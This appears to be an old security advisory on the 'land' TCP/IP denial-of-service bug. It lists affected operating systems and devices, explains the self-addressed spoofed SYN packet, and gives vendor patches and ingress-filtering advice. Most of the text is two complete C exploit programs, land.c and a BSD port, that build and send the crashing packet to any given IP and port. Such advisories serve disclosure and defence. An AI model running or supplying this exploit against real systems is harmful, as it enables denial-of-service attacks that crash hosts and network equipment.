COMMAND
TCP/IP
SYSTEMS AFFECTED
AmigaOS AmiTCP 4.2 (Kickstart 3.0)
BeOS Preview Release 2 PowerMac
BSDI 2.0, 2.1 (vanilla)
Digital VMS ???
FreeBSD 2.2.5-RELEASE, FreeBSD 2.2.5-STABLE, FreeBSD 3.0-CURRENT
FreeBSD 2.1.*, FreeBSD 2.2.0R, 2.2.1R, 2.2.5R FreeBSD-stable and
FreeBSD-current
HP External JetDirect Print Servers
HP9000 Series 7/800 running HP-UX releases 9.X, 10.X, and 11.00
IBM AS/400 OS7400 3.7 (100% CPU)
IRIX 5.2, 5.3
MacOS MacTCP, MacOS 7.6.1 OpenTransport 1.1.2 (not a compleate
lockup), MacOS 8.0 (TCP/IP stack crashed)
NetApp NFS server 4.1d, 4.3
NetBSD 1.1, 1.2, 1.2a, 1.2.1, 1.3_ALPHA
NeXTSTEP 3.0, 3.1
Novell 4.11 (100% CPU for 30 secs)
OpenBSD 2.1 (conflicting reports)
OpenVMS 7.1 with UCX 4.1-7
QNX 4.24
Rhapsody Developer Release
SCO OpenServer 5.0.2 SMP, 5.0.4 (kills networking)
SCO Unixware 2.1.1, 2.1.2
SunOS 4.1.3, 4.1.4
Window for Workgroups 3.11
Windows 95
Windows NT
3Com SuperStack II Switch 1000
Apple LaserWriter
BinTec BIANCA/BRICK-XS 4.6.1 router
Cisco IOS/700 software and 7xx Systems (Cisco Classic IOS < 10.3,
early 10.3, 11.0, 11.1, and 11.2 - see solutions for more info)
Cisco Catalyst switches (5xxx and 29xx)
Digital VT1200
HP Envizex Terminal
Livingston Office Router (ISDN)
Livingston T1/E1 OR
Milkyway Firewall 3.0, 3.02 (both SunOS)
NCD X Terminals, NCDWare v3.1.0, v3.2.1
Netopia PN440 v2.0.1
PROBLEM
m3l (meltman) recently discovered a new TCP/IP bug which freezes
many boxes. Here's how it works: send a spoofed packet with
the SYN flag set from a host, on an open port (such as 113 or
139), setting as source the SAME host and port (ie: 10.0.0.1:139
to 10.0.0.1:139). This will cause the win95 (original
exploit was designed for win95) machine to lock up. However, it
will crach many others as well.
The piece of code included here does that:
/* land.c by m3lt, FLC crashes a win95 box */
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for(i=0;i<(length>>1);i++)
value+=data[i];
if((length&1)==1)
value+=(data[i]<<8);
value=(value&65535)+(value>>16);
return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
char buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;
fprintf(stderr,"land.c by m3lt, FLC\n");
if(argc<3)
{
fprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;
ipheader->saddr=sin.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet\n");
return(-1);
}
fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
close(sock);
return(0);
}
Tim Keanini made for those of you who don't have all the "fancy"
LINUX networking includes a port to 44BSD flavors. Should compile
fine on FreeBSD, NetBSD, OpenBSD, BSDi, etc.
/* land.c by m3lt, FLC
crashes a win95 box
Ported by blast and jerm to 44BSD*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
/* #include <netinet/ip_tcp.h> */
/* #include <netinet/protocols.h> */
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for(i=0;i<(length>>1);i++)
value+=data[i];
if((length&1)==1)
value+=(data[i]<<8);
value=(value&65535)+(value>>16);
return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock,foo;
char buffer[40];
struct ip * ipheader=(struct ip *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
struct pseudohdr pseudoheader;
fprintf(stderr,"land.c by m3lt mod by blast, FLC\n");
if(argc<3)
{
fprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
foo=1;
if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1)
{
fprintf(stderr,"couldn't set raw header on socket\n");
return(-1);
}
bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
ipheader->ip_v=4;
ipheader->ip_hl=sizeof(struct ip)/4;
ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
ipheader->ip_id=htons(0xF1C);
ipheader->ip_ttl=255;
ipheader->ip_p=IPPROTO_TCP;
ipheader->ip_src=sin.sin_addr;
ipheader->ip_dst=sin.sin_addr;
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct
tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct
tcphdr));
if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct
sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet,%d\n",errno);
return(-1);
}
fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
close(sock);
return(0);
}
SOLUTION
An external "land" attack should not be an issue if you are
filtering IP address spoofing at your ingress routers. You _ARE_
doing so? Correct? Well in case you forgot you can find Paul
Ferguson's "Network Ingress Filtering: Defeating Denial of
Service Address Spoofing" Internet Draft at:
ftp://ietf.org/internet-drafts/draft-ferguson-ingress-filtering-03.txt
NetBSD 1.2.1 and NetBSD 1.3_ALPHA are fixed. Check NetBSD for
more info. FreeBSD 2.2.5-STABLE and 3.0-CURRENT got fixed.
Without WinSock 2.0 Update you need Vtcp.386 version 4.00.956
(dated 11/26/97) and later to patch Win95 (by downloading the
Vtcpup11.exe file from the Microsoft Software library). With
WinSock 2.0 there some problems currently. MS has released a fix
for NT "land" DoS attack at the following URL:
ftp://ftp.microsoft.com
/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp3/land-fix/
For Cisco solutions (they exist and should be applied promptly),
check their page for info:
http://www.cisco.com/warp/public/770/land-pub.shtml
As for FreeBSD, FreeBSD 2.2.2R is not affected. It was corrected
in FreeBSD 2.2.6R, FreeBSD-current as of Jan 21 1998 and
FreeBSD-stable as of Jan 30 1998. Patches are placed in:
ftp://ftp.freebsd.org/pub/CERT/patches/SA-98:01/
For HP the problem can be fixed by applying the appropriate
cumulative ARPA Transport patch mentioned below:
HP-UX release 11.00 HP9000 Series 700/800 PHNE_13692
HP-UX release 10.30 HP9000 Series 700/800 PHNE_13671
HP-UX release 10.20 HP9000 Series 800 PHNE_13468
HP-UX release 10.20 HP9000 Series 700 PHNE_13469
HP-UX release 10.10 HP9000 Series 800 PHNE_13470
HP-UX release 10.10 HP9000 Series 700 PHNE_13471
HP-UX release 10.01 HP9000 Series 800 PHNE_13472
HP-UX release 10.01 HP9000 Series 700 PHNE_13473
HP-UX release 10.00 HP9000 Series 800 PHNE_13474
HP-UX release 10.00 HP9000 Series 700 PHNE_13475
HP-UX release 9.04 HP9000 Series 800 PHNE_13476
HP-UX release 9.0[3,5,7] HP9000 Series 700 PHNE_13477
HP-UX release 9.01 HP9000 Series 700 PHNE_13478
HP-UX release 9.00 HP9000 Series 800 PHNE_13479
SCO releassed patches. Please refer to following document:
ftp://ftp.sco.com/SSE/sse010.ltr
As pointed out filtering at the ingres router for spoofed packets
will stop external attacks. You can also filter at the host level
if your OS supports it.